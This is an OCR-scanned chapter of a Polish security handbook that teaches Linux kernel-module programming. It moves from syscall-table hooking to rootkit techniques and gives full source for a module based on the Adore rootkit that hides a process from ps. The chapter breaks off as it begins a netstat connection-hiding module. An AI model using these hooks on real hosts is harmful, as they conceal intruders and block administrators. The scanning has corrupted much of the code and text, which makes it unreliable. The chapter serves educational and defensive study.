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Tworzenie i stosowanie narzedzi do testowania zahezpieczen

e Stwodrz programy do analizowania ruchu sieciowego
 Dostosuj gotowe narzedzia do swoich potrzeb
* Zbadaj bezpieczenstwo wtasnych aplikacji WWW

Coraz czesciej styszymy o wtamaniach do sieci i kradziezach danych. Informacje

0 lukach w oprogramowaniu sieciowym pojawiaja szybciej niz jego aktualizacje.

Na administratorach sieci spoczywa trudne zadanie zabezpieczania zgromadzonych
w nich danych przed atakami. W walce z hakerami administratorzy stosuja narzedzia,
dzieki ktérym sa w stanie wykry¢ atak, usuna¢ stabe punkty sieci i systemu oraz
ochroni¢ dane. Czasem jednak standardowe narzedzia okazujg sie niewystarczajace.
W takich sytuacjach nalezy siegna¢ po inne rozwigzania.

Ksigzka ,Bezpieczenstwo sieci. Narzedzia” to podrecznik dla administratoréw oraz
0s0b zajmujacych sie bezpieczenstwem sieci. Przedstawia najczesciej stosowane
modyfikacje i rozszerzenia narzedzi Nessus, Ettercap i Nikto oraz opisuje zasady
tworzenia zaawansowanych analizatoréw atakow $cisle dostosowanych do wymogow
okreslonego $rodowiska sieciowego. Zawiera réwniez informacje dotyczace korzystania
z narzedzi do skanowania portéw, iniekcji pakietéw, podstuchiwania ruchu w sieci

i oceny dziatania serwisow WWW.

» Tworzenie dodatkdw dla programu Nessus

* Budowanie narzedzi dla szperacza Ettercap

* Rozszerzanie mozliwo$ci programéw Hydra i Nikto

* Stosowanie narzedzi do analizy kodéw zrodtowych

e Zabezpieczanie jadra Linuksa

 Kontrolowanie bezpieczenstwa serwisow WWW i baz danych

* Pisanie wiasnych szperaczy sieciowych oraz narzedzi do iniekcji pakietow

Ksiazka ,Bezpieczenstwo sieci. Narzedzia” jest nieodzownym zrddtem wiedzy dla
kazdego administratora, ktdry chce dobrze zabezpieczy¢ swoja sieC.
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ROZDZIAL 7.

Zabawa z modutami jgdra Linuksa

Jadro jest sercem systemu operacyjnego. Odpowiada za takie podstawowe funkgje jak zarza-
dzanie pamiecia, przydziat czasu proceséw, obstuge protokotléw TCP/IP i tak dalej. Eadowalne
moduly jadra Linuksa (ang. Loadable Kernel Module, LKM) pozwalaja rozszerza¢ funkcjonalnoscé
systemu w trakcie pracy. Poniewaz latwo jest tadowac i usuwac¢ moduly za pomoca narzedzi
wiersza poleceni, zlodliwi uzytkownicy czesto uzywaja opierajacych sie na LKM narzedzi typu
rootkit i backdoor, aby zachowac dostep do uprzednio zinfiltrowanego hosta. W niniejszym roz-
dziale pokazemy, jak pisa¢ wilasne tadowalne moduly jadra oraz jak autorzy ztosliwych pa-
kietéw rootkit i backdooréw wykorzystuja ogromne mozliwosci tadowalnych modutéw jadra
do réznych sztuczek, na przykiad do ukrywania proceséw i plikéw oraz przechwytywania
funkgcji systemowych. Zakladamy tu, Ze Czytelnik zna jezyk programowania C.

do pracy i serwerach produkcyjnych. Prosty blad w LKM moze spowodowac blad
jadra (ang. kernel panic) i jego zalamanie. Do uruchamiania programéw przedstawionych
W niniejszym rozdziale nalezy w miare mozliwosci korzysta¢ z oprogramowania maszyn
wirtualnych, na przyktad VMware (http://www.vmware.com/).

{ Nie nalezy uruchamia¢ przedstawionych przykladéw na komputerach niezbednych

Witaj, Swiecie!
Aby przedstawi¢ podstawy pisania tadowalnych modutéw jadra, sprébujemy najpierw napi-
sa¢ prosty modul, ktéry podczas tadowania bedzie wyswietla¢ na konsoli komunikat Witaj,
Swiecie!l, a podczas usuwania komunikat Do zobaczenia.. Na poczatek nalezy dotaczy¢
wymagane pliki nagléwkowe:

#include <linux/module.h>

#include <linux/kernel.h>
#include <linux/init.h>

Jadro 2.6 Linuksa zglasza ostrzezenie przy ladowaniu moduléw, ktérych kod Zrédlowy nie
jest objety licencja GPL. Jadro Linuksa jest objete ta licencja, a jego opiekunowie klada duzy
nacisk na to, by wszelki kod tadowany do jadra réwniez jej podlegal. Aby wylaczy¢ wyswie-
tlanie ostrzezenia, nalezy zaklasyfikowa¢ kod modutu jako objety GPL, dodajac nastepujaca
dyrektywe:

MODULE_LICENSE ("GPL");
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Teraz zdefiniujemy funkcje hello(), ktéra po prostu wyswietli na konsoli tekst Witaj, Swiecie!
z pomocg funkcji printk():
static int _ init hello (void)

{
printk (KERN_ALERT "Witaj, Swiecie!\n");
return O;

}

Nastepnie zdefiniujemy funkcje goodbye (), ktéra wyswietli na konsoli tekst Do zobaczenia.:

static void goodbye (void)

{
}

Dalej ustawimy hello() i goodbye() odpowiednio w rolach funkgji inicjalizacji i wyjscia. Inaczej
moéwiac, funkcja hello() bedzie wywolywana przy tadowaniu modutu, a goodbye () przy jego
usuwaniu:

printk (KERN_ALERT "Do zobaczenia.\n");

module init(hello);
module_exit(goodbye)

hello_world.c

Kod Zrédlowy naszego ladowalnego modutu jadra hello_world wyglada tak:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
MODULE LICENSE ("GPL")

static int _ init hello (void)

{
printk (KERN_ALERT "Witaj, Swiecie!\n");
return O;
}
static void goodbye (void)
{
printk (KERN_ALERT "Do zobaczenia.\n");
}

module init(hello);
module exit(goodbye)

Kompilacja i test hello_world

Aby skompilowaé powyzszy kod Zrédlowy, nalezy utworzy¢ prosty plik makefile zawierajacy
wpis:

obj-m += hello world.o

Do kompilacji modutu postuzy polecenie make:

[nieroot]$ make -C /usr/src/linux-‘uname -r° SUBDIRS=$PWD modules
make: Entering directory “/usr/src/linux-2.6.8

CC [M1 /tmp/lkms/hello_world.o

Building modules, stage 2.

MODPOST
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cc /tmp/lkms/hello _world.mod.o
LD [M] /tmp/lkms/hello_world.ko
make: Leaving directory “/usr/src/linux-2.6.8

Modut nalezy zaladowac z pomoca polecenia insmod:
[root]# insmod ./hello_world.ko
Witaj, Swiecie!

Do wyswietlenia listy zaladowanych moduléw jadra stuzy narzedzie 1smod:
[root]# lsmod

Module Size Used by
helloworld 2432 0

Do usuniecia modutu postuzy polecenie rmmod:

[root]# rmmod hello_world
Do zobaczenia.

Przechwytywanie funkgcji systemowych

Procesy moga by¢ uruchamiane w jednym z dwéch trybéw: uzytkownika i jadra. Wigkszosé
proceséw uruchamia sie w trybie uzytkownika, w ktérym maja one dostep jedynie do ogra-
niczonych zasobéw. Gdy proces wymaga skorzystania z ustugi, ktéra oferuje jadro, wéwczas
wywoluje funkcje systemowa (inaczej wywolanie systemowe; ang. system call). Funkcje sys-
temowe pelnia role bramy dajacej dostep do jadra. Sa przerwaniami programowymi, ktére
system operacyjny przetwarza w trybie jagdra. W ponizszych punktach pokazemy, jak fadowalne
moduly jadra moga wykonywac rézne sztuczki z przechwytywaniem funkgji systemowych.

Tablica funkcji systemowych

Jadro Linuksa utrzymuje tablice funkcji systemowych, ktéra sklada si¢ po prostu ze wskaznikow
funkgji implementujacych wywolania systemowe. Liste funkgji systemowych implementowanych
przez dane jadro mozna zobaczy¢ w pliku /usr/include/bits/syscall.h. Jadro przechowuje tablice
funkcji systemowych w strukturze o nazwie sys_call table, ktéra mozna znalezé w pliku
arch/i386/kernel/entry.S.

Jadro 2.5 i nowsze systemu Linux nie eksportuja juz struktury sys _call table.
W wersjach jadra wczesniejszych niz 2.5 fadowalny modut jadra mégt uzyskac bezpo-
$redni dostep do struktury sys_call table, deklarujac ja jako zmienng extern:

extern void *sys_call table[];

Dodatkowe informacje zawiera punkt ,Przechwytywanie sys_exit() w jadrze 2.4”
w dalszej czesci rozdziatu.

strace Twoim przyjacielem

Czesto trzeba podczepié¢ sie do programu, aby sie zorientowad, ktére funkcje systemowe
wywoluje. Do tego celu moze postuzy¢ narzedzie strace. Popatrzmy np. na ponizszy program
w jezyku C, ktéry po prostu wyswietla plik /etc/passwd:
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#include <stdio.h>

int main(void)

{
FILE *myfile;
char tempstring[1024];
1f(! (myfile=fopen("/etc/passwd","r")))
fprintf(stderr, "Nie mozna otworzy¢ pliku");
exit(1l);
}
while(!feof(myfile))
{
fscanf(myfile, "%s",tempstring);
fprintf(stdout,"%s",tempstring);
exit(0);
}

Po skompilowaniu kodu za pomoca kompilatora gcc tak, aby otrzymac program wykony-
walny o nazwie a.out, nalezy wykonad ponizsze polecenie:

[nieroot]$ strace -o strace.out ./a.out > /dev/null

Wyijscie polecenia strace zostalo zapisane w pliku strace.out. Mozemy teraz przyjrzec sie temu
plikowi, aby poznad wszystkie wywolania funkgji dokonane przez a.out. Na przyklad, wykonanie
ponizszego polecenia grep pozwoli sie zorientowa¢, ze funkcja fopen() w programie a.out
wywoluje funkgje systemowa open (), aby otworzy¢ plik /etc/passwd:

[nieroot]$ grep “/etc/passwd" strace.out
open("/etc/passwd”, O_RDONLY) = 3

Wymuszenie dostepu do sys call table

Poniewaz tablica sys_call table nie jest juz eksportowana w jadrze 2.6, dostep do niej mozna
uzyska¢ tylko sila (ang. brute force). Eadowalne moduly jadra maja dostep do pamieci jadra,
wiec mozna zdoby¢ dostep do sys_call table przez poréwnanie znanych lokalizacji z wyeks-
portowanymi funkcjami systemowymi. Wprawdzie sama tablica sys_call_table nie jest
juz eksportowana, lecz kilka funkcji systemowych, jak np. sys_read() i sys_write(),nadal
podlega eksportowi i dostepnych jest dla tadowalnych moduléw jadra. Aby zademonstrowad,
jak mozna zdoby¢ dostep do tablicy sys call table w jadrze 2.6, napiszemy prosty LKM,
ktéry przechwytuje funkcje sys_open() i uniemozliwia komukolwiek otwarcie pliku /tmp/test.

Wprawdzie przechwytujemy tu sys open(), aby uniemozliwi¢ komukolwiek otwarcie
pliku, lecz takie rozwigzanie nie jest do konica skuteczne. Uzytkownik root nadal
dysponuje bezposrednim dostepem do urzadzenia dysku, na ktérym zdeterminowany
uzytkownik moze operowac bezposrednio.

Omoéwimy tu najwazniejsze elementy; pelny kod Zrédlowy intercept_open.c jest przedstawiony
w nastepnym podpunkcie. Prosze zwréci¢ uwage, ze podczas inicjalizacji zostaje wywotana
funkcja my_init(). Funkcja ta prébuje uzyskac dostep do tablicy sys call table, zaczynajac
od adresu system_utsname. Struktura system_utsname zawiera liste informacji o systemie
i wiadomo, ze znajduje sie przed tablica funkcji systemowych. Wobec tego funkcja zaczyna
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przetwarzanie od lokalizacji system_utsname i przeprowadza 1024 iteracje (MAX_TRY). Za kazdym
razem przechodzi jeden bajt dalej i poré6wnuje aktualng lokalizacje z lokalizacjg sys_read(),
ktérej adres, jak zakladamy, jest dostepny dla LKM. Po znalezieniu dopasowania funkcja
wychodzi z petli i mamy dostep do tablicy sys_call table:

while(1)
{
1f(sys_table[ NR_read] == (unsigned long)sys_read)
sys_call table=sys table;
flag=1;
break;
}
i--;
sys_table++;
}

Nasz lfadowalny modut jadra wywoluje xchg() w celu takiego zmodyfikowania tablicy funkcji
systemowych, by sys_call table[ NR _open] wskazywala na our_fake_open_function():
original_sys_open =(void * )xchg(&sys_call table[_ NR openl],
our_fake_open_function);
Dzigki temu zamiast oryginalnej funkcji sys_open() bedzie wywolywana funkcja our_fake
wopen_function(). Funkcja xchg() zwraca tez warto$¢ zmiennej original sys open, ktéra
zawiera wskaZnik na oryginalng funkcje sys open(). Postuzymy sie nim do przywrécenia
w tablicy funkgji systemowych oryginalnej wartosci sys_open() podczas usuwania LKM z jadra:
xchg(&sys_call table[_ NR_open], original sys_open);

Funkcja our_fake_open_function() sprawdza, czy parametr *filename wskazuje plik, kt6-
rego otwarcie chcemy uniemozliwi¢ (w naszym przykladzie /tmp/test). Nie wystarcza jednak
poréwnac /tmp/test z wartoscia filename, poniewaz jesli np. katalogiem biezacym procesu
bedzie /tmp, to funkcja sys_open() moze zosta¢ wywolana z parametrem test. Najpewniejszg
metoda sprawdzenia, czy filename rzeczywiscie odwoluje sie do /tmp/test, jest poréwnanie
i-wezla pliku /tmp/test z i-wezlem pliku odpowiadajacego zmiennej filename. Nazwa i-wezel
(ang. inode) okresla sie strukture danych zawierajaca informacje o plikach w systemie. Poniewaz
kazdy plik ma unikatowy i-wezel, moZemy mie¢ pewnos¢, ze uzyskamy prawidlowy wynik. Aby
otrzymac wartos¢ i-wezla, our_fake_open_function() wywoluje funkcje user path_walk()
i przekazuje do niej warto$¢ filename i strukture typu nameidata, zgodnie z wymogami funkgji.
Jednakze przed wywotaniem funkcji user path_walk() z parametrem /tmp/test modul
wywoluje nastepujace funkcje:
fs=get fsO);
set_fs(get_ds());

Funkcja user path_walk() oczekuje, ze zmienna filename wskazywac bedzie na obszar
pamieci w przestrzeni adresowej uzytkownika. Poniewaz jednak piszemy modut jadra, nasz
kod znajdzie sie w przestrzeni jadra i funkcja user path_walk() nie zadziala poprawnie,
poniewaz oczekuje uruchomienia w trybie uzytkownika. Wobec tego, zanim wywolamy
user_path_walk(), musimy wywola¢ funkcje get_fs(), ktéra odczytuje polozenie najwyzszego
segmentu pamieci jadra, a nastepnie wywoluje funkcje set_fs() majaca get_ds() w roli parame-
tru. Zmienia to limit wirtualnej pamieci jadra dla pamieci przestrzeni uzytkownika tak, ze funkcja
user_path_walk() bedzie mogta zadziala¢. Po zakoriczeniu wywolania user path_walk()
przez modul przywrécony zostaje uprzedni limit:

set fs(fs);
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Jesli i-wezly plikéw sa réwne, to wiemy, Ze uzytkownik prébuje otworzy¢ plik /tmp/test, a modul
zwraca -EACCES:

if(inode==inode_t)
return -EACCES;

W przeciwnym razie modut wywoluje oryginalna funkcje sys_open():

return original sys_open(filename,flags,mode);

intercept_open.c

Oto pelny kod Zrédlowy naszego ladowalnego modutu jadra intercept_open:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#1include <linux/syscalls.h>
#include <linux/unistd.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <linux/namei.h>

int flag=0;

#define MAX_TRY 1024
MODULE_LICENSE ("GPL")
unsigned long *sys call table;

asmlinkage long (*original sys open) (const char _ user *filename, 1int
flags, int mode);

asmlinkage int our fake open_function(const char _ user *filename, 1int
flags, int mode)
{ .

int error;

struct nameidata nd,nd t;

struct inode *inode,*inode_ t;

mm_segment_t fs;

error=user path walk(filename,&nd);

i1f(lerror)

{

inode=nd.dentry->d_inode;

/*To trzeba zrobi¢ przed wywolaniem user_path_walk()
z przestrzeni jqdra:*/

fs=get fsO);

set_fs(get_ds())

/*Chroni plik /tmp/test. Mozna zmieni¢ na inny*/
error=user_path walk("/tmp/test",&nd_t);

set_fs(fs);
if(lerror)

{

inode_t=nd_t.dentry->d_inode;
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1f(inode==1node_t)
return -EACCES;

}
}
return original sys open(filename,flags,mode);
}
static int _ init my _init (void)
{
int i=MAX_TRY;
unsigned long *sys table;
sys_table = (unsigned long *)&system utsname;
while(1)
{
if(sys_table[_ NR_read] == (unsigned long)sys_read)
sys_call table=sys table;
flag=1;
break;
}
i--;
sys_table++;
}
if(flag)
{
original_sys open =(void *)xchg(&sys_call table[_NR open],
our fake_open_function);
}
return O;
}
static void my_exit (void)
{
xchg(&sys_call_table[_ NR openl], original_sys_open);
}

module init(my init);
module exit(my exit);
Kompilacja i test intercept_open
Do skompilowania programu intercept_open.c postuzy plik makefile zawierajacy wpis:
obj-m += intercept_open.o
Skompilujemy program z uzyciem ponizszego polecenia make:
[nieroot]$ make -C /usr/src/linux-‘uname -xr°~ SUBDIRS=$PWD modules
Utworzymy /tmp/test:
[nieroot]$ echo test > /tmp/test
Zatadujemy insert_open.ko:
[root]# insmod ./intercept_open.ko
Sprébujemy otworzy¢ /tmp/test:

[root]# cat /tmp/test
cat: /tmp/test: Permission denied
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Usuniemy modut:

[root]# rmmod intexrcept_open

Ponownie sprébujemy otworzy¢ /tmp/test:

[root]# cat /tmp/test
test

Przechwytywanie sys_unlink() za pomoca System.map

W poprzednim punkcie pokazalismy, jak zdoby¢ adres sys _call table, przeszukujac pamiec
jadra. Jesli jednak jest dostepny plik System.map jadra, mozemy sie nim postuzy¢, aby otrzymac
lokalizacje tablicy sys call table i zakodowac ja na sztywno w LKM. Dobrym przykladem
moze by¢ fadowalny modut jadra, ktéry uniemozliwia usuwanie plikéw przez przechwycenie
sys_unlink(). Najpierw nalezy znaleZ¢ lokalizacje sys call table za pomoca pliku System.map:
[nieroot]$ grep sys_call_table /boot/System.map
c044fd00 D sys_call table

W kodzie Zrédlowym modutu adres, ktéry postuzy do pobrania sys_call table, zakodujemy
na sztywno:

*(long *)&sys_call table=0xc044fdO0;
Modut tak modyfikuje tablice funkcji systemowych, ze _ NR_unlink bedzie wskazywac na
hacked_sys_unlink i zachowa oryginalne polozenie sys unlink():

original sys unlink =(void * )xchg(&sys call table[ NR unlink],

hacked sys unlink);
Funkcja hacked_sys_unlink() przy kazdym wywolaniu zwraca -1 i nigdy nie wywoluje
oryginalnej funkcji sys_unlink():

asmlinkage long hacked sys unlink(const char *pathname)

{
}

Dzigki temu zaden proces nie jest w stanie usuna¢ jakiegokolwiek pliku w systemie.

return -1;

intercept_unlink.c

Oto pelny kod Zrédlowy naszego tadowalnego modutu jadra intercept_unlink:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/unistd.h>

MODULE_LICENSE ("GPL");
unsigned long *sys_call table;
asmlinkage long (*original sys unlink) (const char *pathname);

/*zwraca -1. To uniemozliwi wszystkim procesom usuniecie dowolnego pliku*/
asmlinkage long hacked sys unlink(const char *pathname)

{
}

return -1;
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static int _ init my_init (void)

/*pobieramy sys_call_table z zakodowanej na sztywno wartosci,
ktorq znalezlismy w System.map™ /

*(long *)&sys_call table=0xc044fd00;

/*zapamietujemy oryginalne potozenie sys_unlink. Zmieniamy sys_call_table
tak, ze wskazuje _ _NR_unlink na naszq hacked_sys_unlink™ /

original sys unlink =(void * )xchg(&sys call table[ NR unlink],

hacked sys unlink);

return O;
}
static void my_exit (void)
{
/*przywracamy oryginalng sys_unlink w sys_call_table* /
xchg(&sys call table[ NR unlink], original sys unlink)
}

module init(my_init);
module exit(my_exit);

Kompilacja i test modutu intercept_unlink

Do przetestowania modutu uzyjemy pliku makefile zawierajacego wpis:
obj-m += intercept_unlink.o

Modut skompilujemy z pomoca nastepujacego polecenia:
[nieroot]$ make -C /usr/src/linux-‘uname -r° SUBDIRS=$PWD modules

Utworzymy plik testowy:
[nieroot]$ touch /tmp/testfile

Zaladujemy modul:
[root]# insmod ./intercept_unlink.ko
Sprobujemy usuna¢ plik:

[root]# xm -rf /tmp/testfile
rm: cannot remove "/tmp/testfile': Operation not permitted

Usuniemy modut:

[root]# rmmod intercept_unlink

Teraz usuniecie pliku powinno by¢ mozliwe:
[root]# xm -xf /tmp/testfile

Przechwytywanie sys_exit() w jadrze 2.4

Jadra w wersji 2.4 eksportujg symbol sys_call table. Wielu uzytkownikéw nadal korzysta
z systeméw z jadrem 2.4, wiec pokazemy tu pokroétce, jak napisac dla tej wersji jadra LKM
przechwytujacy sys_exit(). Przyklad jest bardzo prosty, wiec po zrozumieniu zasady dzia-
tania programu intercept_exit.c Czytelnik bedzie mégl przenies¢ inne przyklady z niniejszego

rozdziatu na jadro 2.4.
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Jadra 2.4 dystrybuowane przez Red Hat zawieraja czes¢ funkcji przeniesionych
zjadra 2.6 i nie eksportujg sys_call_table. W tym przypadku nalezy postuzy¢ sie
technikami przedstawionymi w poprzednich punktach i przechwyci¢ sys_call_table
metoda sitowg lub z uzyciem pliku System.map.

Modut intercept_exit przechwytuje funkcje sys_exit() i wyswietla na konsoli wartosé
error code przekazang do sys exit().Funkcja init module() zostaje wywotana przy zatado-
waniu LKM. Funkcja ta zapisuje wskaznik na oryginalna funkcje sys_exit() i zmienia wpis
w sys_call table[_ NR exit]lnaour fake_exit_ function:

original_ sys_exit = sys call table[ NR_exit];

sys_call table[ NR exit]=our fake_ exit_function;
Funkcja our fake exit function() wyswietla wartos¢ error code, a nastepnie wywotuje
oryginalng funkcje sys_exit():

asmlinkage int our_ fake_exit function(int error code)

printk("UWACA! sys exit wywolana z error code=%d\n",error code);
return original sys exit(error code);

}
W chwili usunigcia fadowalny modut jadra przywraca w sys_call table[ NR_exit] wskaza-
nie na original sys exit:

sys_call table[ NR exitl]=original sys exit;

intercept_exit.c

Oto pelny kod Zrédlowy naszego ladowalnego modutu jadra intercept_exit:
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
MODULE_LICENSE("GPL");
extern void *sys call table[];

asmlinkage int (*original sys_exit)(int);

asmlinkage int our_ fake_exit function(int error code)

{
/*przy kazdym wywolaniu wyswietla komunikat na konsoli* /
printk ("UWACA! sys_exit wywolana z error_ code=%d\n",error code);
/*wywoluje orginalnq sys_exit i zwraca jej wartos¢>/
return original sys exit(error code);

}

int init module(void)

{
/*zapisujemy odwolanie do oryginalnej funkcji sys_exit™/
original sys exit = sys call table[ NR exit];
/*zmieniamy sys_call_table, by zamiast niej wywolywala naszq podrobionq
Sfunkcje wyjscia*/
sys_call table[ NR exitl]=our fake exit_function;
return O;

}
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void cleanup_module(void)

/*przywracamy oryginalng sys_exit*/
sys_call table[ NR exitl]=original sys exit;
}

Kompilacja i test intercept_exit
Skompilujemy intercept_exit.c:
[nieroot]$ gcc -D__KERNEL__ -DMODULE -I/usx/src/linux/include -c intercept_exit.c

Zatadujemy do jadra:

[root]# insmod ./intercept_exit.o
Sprébujemy poleceniem 1s wyswietli¢ nieistniejacy plik. Spowoduje to zakorniczenie przez 1s
dzialania z warto$cia niezerowa, ktérg wyswietli nasz LKM:

[nieroot]$ 1ls /tmp/nonexistent
1s: /tmp/nonexistent: No such file or directory
UWACA! sys_exit wywotana z error code=1

Pozostaje usunaé modut po zakoriczeniu préby:

[root]# rmmod intercept_exit

Ukrywanie proceséw

Popularnym pakietem rootkit opartym na LKM jest Adore. Pozwala on uzytkownikowi, miedzy
innymi, ukrywac procesy przez modyfikacje funkgji obstugi wywolania readdir dla systemu
plikéw /proc.

Rootkit Adore mozna pobrac spod adresu http://packetstormsecurity.nl/groups/teso/.

..l
*l

System plikéw /proc zawiera mnéstwo informacji o systemie, miedzy innymi wiadomosci
o procesach. Zal6zmy na przyklad, Ze w systemie jest uruchomiony demon sshd. Za pomoca
narzedzia ps mozna uzyskac identyfikator procesu (PID) demona:

[nieroot]$ ps x | grep sshd

1431 2 S 0:00 /usr/sbin/sshd

4721 ttyl S 0:00 grep sshd
W naszym przykladzie proces sshd ma PID 1431. Zajrzyjmy do katalogu /proc/1431, aby uzyskaé
dodatkowe informacje o procesie:

[nieroot]$ 1ls -1 /proc/1431/

total O

e 1 root root O Sep 4 09:14 auxv

-r--I--I-- 1 root root O Sep 4 09:12 cmdline

Irwxrwxrwx 1 root root O Sep 4 09:14 cwd -> /

-Ir-------- 1 root root O Sep 4 09:12 environ

LrwxXTWXIWX 1 root root O Sep 4 09:14 exe -> /usr/sbin/sshd
dr-x------ 2 root root O Sep 4 09:14 fd

-I--I--I-- 1 root root O Sep 4 09:14 maps

SIW------ - 1 root root O Sep 4 09:14 mem

-I--I--I-- 1 root root O Sep 4 09:14 mounts
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Irwxrwxrwx 1 root root O Sep 4 09:14 root -> /
-I--I--I-- 1 root root O Sep 4 09:12 stat
-I--I--I-- 1 root root O Sep 4 09:14 statm
-I--I--I-- 1 root root O Sep 4 09:12 status
dr-xr-xr-X 3 root root O Sep 4 09:14 task
“I--I--I-- 1 root root O Sep 4 09:14 wchan

Jak widaé, w systemie plikéw /proc znajduja sie réwniez dane proceséw. Narzedzie ps wyko-
rzystuje /proc do pozyskania listy proceséw uruchomionych w systemie.

W niniejszym podrozdziale wykorzystamy techniki stosowane przez Adore do ukrycia wy-
branego procesu. Uzyjemy w tym celu tadowalnego modutu jadra, ktéry nazwiemy hidepid.
Na poczatek uruchomimy proces, ktéry bedziemy chcieli ukry¢:

[nieroot]$ sleep 999999 &

[1] 4781

Ze sposobu dziatania polecenia sleep wiadomo, Ze proces o identyfikatorze 4781 bedzie do-
stepny przez 999 999 sekund. Sprébujemy go ukry¢.

Funkcja hide pid() w programie hidepid.c wymaga wskaZnika na oryginalng procedure obstugi
operacji readdir systemu plikéw /proc oraz nowej procedury obstugi readdir. Najpierw funkcja
usiluje pobraé deskryptor pliku, prébujac otworzy¢é /proc:
if((filep = filp_open("/proc",0 RDONLY,0))==NULL)
return -1;
Wskaznik na program obstugi operacji readdir katalogu /proc zostaje zapamietany, aby mozna
byto go przywrdci¢ przy usuwaniu LKM z jadra:
if(orig_readdir)
*orig readdir = filep->f op->readdir;
Nastepnie procedura obstugi operacji readdir katalogu /proc zostaje ustawiona na new_readdir:

filep->f op->readdir=new_readdir;

Podczas inicjalizacji funkcja hide pid() jest wywolywana z nastepujacymi parametrami:

hide_pid(&orig_proc_readdir,my proc_readdir);

Poniewaz drugim parametrem przekazywanym do hide pid() jest my proc_readdir, od-
powiadajacy new_readdir, LKM ustawia my_proc_readdir jako procedure obstugi operacji
readdir dla /proc. Funkcja my proc_readdir() wywoluje funkcje original proc_readdir(),
lecz z my_proc_filldir w roli procedury obstugi. Funkcja my proc_filldir() po prostu
sprawdza, czy nazwa PID odczytywanego z /proc jest taka sama jak nazwa PID, ktéry chcemy
ukry¢. Jedli tak, funkcja po prostu koriczy dzialanie; w przeciwnym razie wywotuje oryginalna
filldir(O):

if(adore_atoi(name)==HIDEPID)
return O;

return proc_filldir(buf, name, nlen, off, ino, Xx);

W chwili usuniecia LKM zostaje wywolana funkcja restore(), aby przywrdcic¢ oryginalna
procedure obstugi operacji readdir katalogu /proc:

if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL)
return -1;

filep->f op->readdir = orig readdir;
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hidepid.c

Oto pelny kod Zrédlowy naszego tadowalnego modutu jadra hidepid:

/*Podzigkowania dla adore-ng ze Stealth za pomysty uzyte w tym kodzie* /

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <net/sock.h>

#define HIDEPID 4781

typedef int (*readdir t)(struct file *, void *, filldir t);
readdir t orig proc_readdir=NULL;
filldir t proc_filldir = NULL;

/*Konwertujemy string na integer. Usuwamy znaki nienalezqce do integer. Autorstwa adore-ng™/

int adore atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;
for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
ptr--;
while (ptr >= str) {
if (*ptr < '0' || *ptr > '9")
break;
ret += (*ptr - '0') * mul;
mul *= 10;
ptr--;
}
return ret;

}

int my proc_filldir (void *buf, const char *name, int nlen, loff_ t off,
ino_t ino, unsigned x)

{

/*Jesli nazwa odpowiada naszemu PID, zwracamy 0. Dzieki temu

nasz PID nie jest widoczny™/
if(adore_atoi(name)==HIDEPID)
{
return O;

}

/*W przeciwnym razie wywolujemy oryginalngq filldir*/

return proc_filldir(buf, name, nlen, off, ino, Xx);
}

int my_proc_readdir(struct file *fp, void *buf, filldir t filldir)
{

int r=0;

proc_filldir = filldir;

/*Wywolujemy orig_proc_readdir z my proc_filldir*/
r=orig_proc_readdir(fp,buf,my proc_filldir);

return r1;
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int hide pid(readdir t *orig readdir, readdir t new readdir)

{
struct file *filep;

/*otwieramy /proc */
if((filep = filp_open("/proc",0 _RDONLY,0))==NULL)
{

return -1;

}

/*zapamigtujemy readdir katalogu /proc*/
if(orig_readdir)
*orig readdir = filep->f op->readdir;

/*ustawiamy readdir katalogu /proc na new_readdir™ /
filep->f op->readdir=new readdir;

filp_close(filep,0);

return O;

}

/ *przywracamy readdir katalogu /proc*/
int restore (readdir t orig readdir)

{
struct file *filep;
/*otwieramy /proc */
if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL) ({
return -1;
}

/ *przywracamy readdir katalogu /proc*/
filep->f op->readdir = orig readdir;
filp_close(filep, 0);

return O;

}
static int _ init myinit(void)

hide pid(&orig proc_readdir,my proc_readdir);

return O;
}
static void myexit(void)
{
restore(orig _proc_readdir);
}

module_init(myinit)
module_exit(myexit);

MODULE_LICENSE("GPL");

Kompilacja i test hidepid

Postuzymy sie plikiem makefile zawierajacym wpis:
obj-m += hidepid.o
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Do skompilowania programu postuzy polecenie:

[nieroot]$ make -C /usxr/sxrc/linux-‘uname -r° SUBDIRS=$PWD modules
Przetestujemy modul, wyswietlajac najpierw poleceniem ps proces sleep, ktéry uprzednio
zainicjalizowalismy:

[nieroot]$ ps a | grep 4781
4781 ttyl S 0:00 sleep 999999
6545 ttyl R 0:00 grep 4781

Zaladujemy modul:
[root]# insmod ./hidepid.ko

Teraz proces sleep jest niewidoczny:

[nieroot]$ ps a | grep 4781
6545 ttyl R 0:00 grep 4781

Po zakoriczeniu préb nalezy usunaé¢ modut z jadra:

[root]# rmmod hidepid

Ukrywanie potaczen przed narzedziem netstat

Polecenie netstat pozwala wyswietli¢ liste ustug sieciowych uruchomionych aktualnie w hoscie:

[nieroot]$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address  Foreign Address State

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:68 0.0.0.0:*

Active UNIX domain sockets (servers and established)

Proto RefCnt Flags Type State I-Node Path

unix 2 [ ACC 1] STREAM LISTENING 2085 /dev/gpmctl
unix 6 [1] DGRAM 1886  /dev/log
unix 2 [1] DGRAM 2153

unix 2 [1] DGRAM 2088

unix 2 [ 1] DGRAM 2046

unix 2 [1] DGRAM 1894

Rootkit Adore pozwala ukry¢ wybrany zestaw ustug nastuchujacych polaczeri przed programem
netstat. Odbywa sie¢ to przez zmiane za pomocq wyeksportowanej struktury proc_net funkgji
obstugi tcp4 seq show(), ktdra jest wywolywana przez jadro, gdy netstat odpytuje o nastuchu-
jace polaczenia. W funkcji hacked tcp4 seq show() w programie hide_sshd.c funkcja strnstr()
stuzy do szukania w seq->buf podciagu zawierajacego postac¢ szesnastkowg portu, ktéry ma
zosta¢ ukryty. W razie znalezienia laricuch ten jest usuwany.

hide_sshd.c

Oto pelny kod Zrédlowy naszego tadowalnego modutu jadra hide_sshd:

